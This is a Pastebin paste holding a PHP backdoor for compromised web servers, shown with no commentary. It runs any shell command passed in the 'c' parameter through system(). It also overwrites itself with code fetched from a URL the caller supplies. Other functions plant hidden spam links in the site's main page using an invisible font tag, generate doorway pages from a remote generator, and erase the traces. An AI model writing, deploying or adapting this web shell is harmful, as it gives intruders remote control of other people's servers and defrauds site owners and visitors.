Guest User

Untitled

a guest
Jul 16th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.54 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(1);
  3. set_time_limit(0);
  4.  
  5. function Clear()
  6. {
  7.     unlink("c");
  8.     unlink("1r");
  9.   unlink("log");
  10. }
  11.  
  12. function Clear2()
  13. {
  14.     $mrd = trim(file_get_contents("m"));
  15.     $pt = "../$mrd";
  16.     $fin = file_get_contents($pt);
  17.     $fin = ereg_replace("<adsttnmq1>(.*)<sdioyslkjs2>", "", $fin);
  18.   $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
  19.     $fin = preg_replace('#<a[^>]+\_lm[^>]*>.*?</a>#is', '', $fin);
  20.     $fin = preg_replace("/http(.*?)tmp6(.*?)\<\/a\>/", "", $fin);
  21.     $fin = ereg_replace("<!--dd4-->", "", $fin);
  22.   $fin = ereg_replace("<!--dd5-->", "", $fin);
  23.   $fin = ereg_replace("<font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">", "", $fin);
  24.     $fmrd = fopen($pt, "w+");
  25.     fwrite($fmrd, $fin);
  26.     fclose($fmrd);
  27.     echo " upt-ok";
  28. }
  29.  
  30. function GetVar($name, &$var)
  31. {
  32.     $var = "";
  33.     if (isset($_POST[$name]))
  34.         $var = $_POST[$name];
  35.  
  36.   if (isset($_GET[$name]))
  37.         $var = $_GET[$name];
  38.    
  39.     if (($var) =="")
  40.       return  false;
  41.       else return true;
  42. }
  43.  
  44. function Gen()
  45. {
  46.     $alp = "abcdefghiklmnjsweqrtyuiopzx";
  47.     $maps = array();
  48.     if (isset($_POST["sg"]))
  49.         $sg = $_POST["sg"];
  50.  
  51.   if (isset($_GET["sg"]))
  52.         $sg = $_GET["sg"];
  53.        
  54.     if (isset($_POST["gm"]))
  55.      $g = $_POST["gm"];
  56.  
  57.     if (isset($_GET["gm"]))
  58.         $g = $_GET["gm"];
  59.        
  60.        
  61.     $path = "";
  62.     $fr = fopen("1r", "a+");
  63.     if (file_exists("c"))
  64.     {
  65.         $fconf = file("c");
  66.         $tname = trim($fconf[0]);
  67.         $cname = trim($fconf[1]);
  68.         $curs = trim($fconf[2]);
  69.         $pid = trim($fconf[3]);
  70.         if ($pid == 100)
  71.         {
  72.             $pid = 0;
  73.             $rnd = mt_rand(0, 999);
  74.             $nm = "";
  75.         for ($i=0; $i<3; $i++)
  76.         {
  77.             $ran = mt_rand(0,26);
  78.             $sym = $alp[$ran];
  79.             $nm = $nm.$sym;
  80.           }
  81.             $cname = $nm;
  82.             mkdir("$tname/$cname");
  83.             $curs = $g;
  84.         }
  85.     }
  86.     else
  87.     {
  88.         $rnd = mt_rand(0, 999);
  89.         $nm = "";
  90.       for ($i=0; $i<5; $i++)
  91.         {
  92.             $ran = mt_rand(0,26);
  93.             $sym = $alp[$ran];
  94.             $nm = $nm.$sym;
  95.         }
  96.         $tname = $nm;
  97.         $pid = 0;
  98.         $curs = $g;
  99.         mkdir($tname);
  100.         $fht = fopen("$tname/.htaccess", "w+");
  101.         $htname = $sg."2.txt";
  102.         $fp = fopen($htname, "r");
  103.         $fin = '';
  104.         while (!feof($fp))
  105.         {
  106.              $fc = fgets($fp, 1024);
  107.              if (!$fc) break;
  108.            $fin .= $fc;
  109.         }
  110.         fclose($fp);
  111.         fwrite($fht, $fin);
  112.         fclose($fht);
  113.         $rnd = mt_rand(0, 999);
  114.         $nm = "";
  115.     for ($i=0; $i<3; $i++)
  116.     {
  117.         $ran = mt_rand(0,26);
  118.         $sym = $alp[$ran];
  119.         $nm = $nm.$sym;
  120.       }
  121.         $cname = $nm;
  122.     mkdir("$tname/$cname");
  123.     }
  124.   $gname = $sg."sgen.php";
  125.     for ($j=$pid; $j<$pid+10; $j++)
  126.     {
  127.         $fp = fopen($gname."?g=$curs", "r");
  128.         $fin = '';
  129.         while (!feof($fp))
  130.         {
  131.              $fc = fgets($fp, 1024);
  132.              if (!$fc) break;
  133.            $fin .= $fc;
  134.         }
  135.         fclose($fp);
  136.        
  137.         $fnd = fopen("$tname/$cname/$curs"."_$j.htm", "w+");
  138.         fwrite($fnd, $fin);
  139.         fclose($fnd);
  140.     }
  141.    
  142.     if ($j==100)
  143.     {
  144.       $fp = fopen($gname."?g=$curs&m=1", "r");
  145.         $fin = '';
  146.         while (!feof($fp))
  147.         {
  148.              $fc = fgets($fp, 1024);
  149.              if (!$fc) break;
  150.            $fin .= $fc;
  151.         }
  152.         fclose($fp);
  153.         $fnd = fopen("$tname/$cname/$curs"."_lm.htm", "w+");
  154.         fwrite($fnd, $fin);
  155.         fclose($fnd);
  156.         $map = "$path/$tname/$cname/$curs"."_lm.htm";
  157.         fwrite($fr,"$map\n");
  158.     }
  159.    
  160.     $fconf = fopen("c", "w+");
  161.     fwrite($fconf, $tname."\n");
  162.     fwrite($fconf, $cname."\n");
  163.     fwrite($fconf, $curs."\n");
  164.     $nj = $j;
  165.     fwrite($fconf, $nj."\n");
  166.     fclose($fconf);
  167. }
  168.  
  169. function Update()
  170. {
  171.     $thisname = "1.php";
  172.     if (isset($_POST['u']))
  173.       $u = $_POST['u'];
  174.      
  175.     if (isset($_GET['u']))
  176.         $u = $_GET['u'];
  177.        
  178.     $fp = fopen($u, "r");
  179.   $fin = '';
  180.         while (!feof($fp))
  181.         {
  182.              $fc = fgets($fp, 1024);
  183.              if (!$fc) break;
  184.            $fin .= $fc;
  185.         }
  186.   fclose($fp);
  187.  
  188.   $fthis = fopen($thisname, "w+");
  189.   fwrite($fthis, $fin);
  190.   fclose($fthis);
  191. }
  192.  
  193. function Com()
  194. {
  195.     if (isset($_POST['c']))
  196.       @system($_POST['c']);
  197.   if (isset($_GET['c']))
  198.         @system($_GET['c']);
  199. }
  200.  
  201. function UpKos()
  202. {
  203.     $mrd = trim(file_get_contents("m"));
  204.     $pt = "../$mrd";
  205.     $fin = file_get_contents($pt);
  206.     $fin = ereg_replace("adsttnmq1", "<adsttnmq1>", $fin);
  207.     $fin = ereg_replace("sdioyslkjs2", "<sdioyslkjs2>", $fin);
  208.     $fmrd = fopen($pt, "w+");
  209.     fwrite($fmrd, $fin);
  210.     fclose($fmrd);
  211. }
  212.  
  213.  
  214. function MRepl()
  215. {
  216.     $mpt = "";
  217.     $drs = "";
  218.     $begtag = "<adsttnmq1><font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">";
  219.   $endtag = "</font></body></html><sdioyslkjs2> ";
  220.     $mrd = trim(file_get_contents("m"));
  221.     $pt = "../$mrd";
  222.     $fin = file_get_contents($pt);
  223.     GetVar("mpt", $mpt);
  224.      // удаляем завершающие хтмл теги
  225.   $fin = preg_replace ("/<\/body>/i", "", $fin);
  226.   $fin = preg_replace ("/<\/html>/i", "", $fin);
  227.   $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
  228.   $fin = ereg_replace("<adsttnmq1>(.*)<sdioyslkjs2>", "", $fin);
  229.     $fp = fopen($mpt, "r");
  230.   GetVar("drs", $drs);
  231.   $fin = $fin.$begtag;  
  232. $drs = str_replace("\\", "", $drs);
  233.   $fin = $fin.$drs;
  234.   $fin = $fin.$endtag;
  235.   $fmrd = fopen($pt, "w+");
  236.     fwrite($fmrd, $fin);
  237.     fclose($fmrd);
  238. }
  239.  
  240. function Main()
  241. {
  242.     if (isset($_POST['u']) || isset($_GET['u']))
  243.     {
  244.         Update();
  245.         exit();
  246.     }
  247.    
  248.     if (isset($_POST['c']) || isset($_GET['c']))
  249.     {
  250.         Com();
  251.         exit();
  252.     }
  253.    
  254.         if (isset($_POST['uk']) || isset($_GET['uk']))
  255.     {
  256.         UpKos();
  257.         exit();
  258.     }
  259.    
  260.     if (isset($_POST['g']) || isset($_GET['g']))
  261.     {
  262.         Gen();
  263.         exit();
  264.     }
  265.    
  266.     if (isset($_POST['s']) || isset($_GET['s']))
  267.     {
  268.         MRepl();
  269.         exit();
  270.     }
  271.    
  272.   if (isset($_POST['cl']) || isset($_GET['cl']))
  273.     {
  274.         Clear();
  275.         exit();
  276.     }
  277.    
  278.     if (isset($_POST['cl2']) || isset($_GET['cl2']))
  279.     {
  280.         Clear2();
  281.         exit();
  282.     }
  283.    
  284.     echo "<ok>";
  285.    
  286. }
  287.  
  288. Main();
  289.  
  290. ?>
Add Comment
Please, Sign In to add comment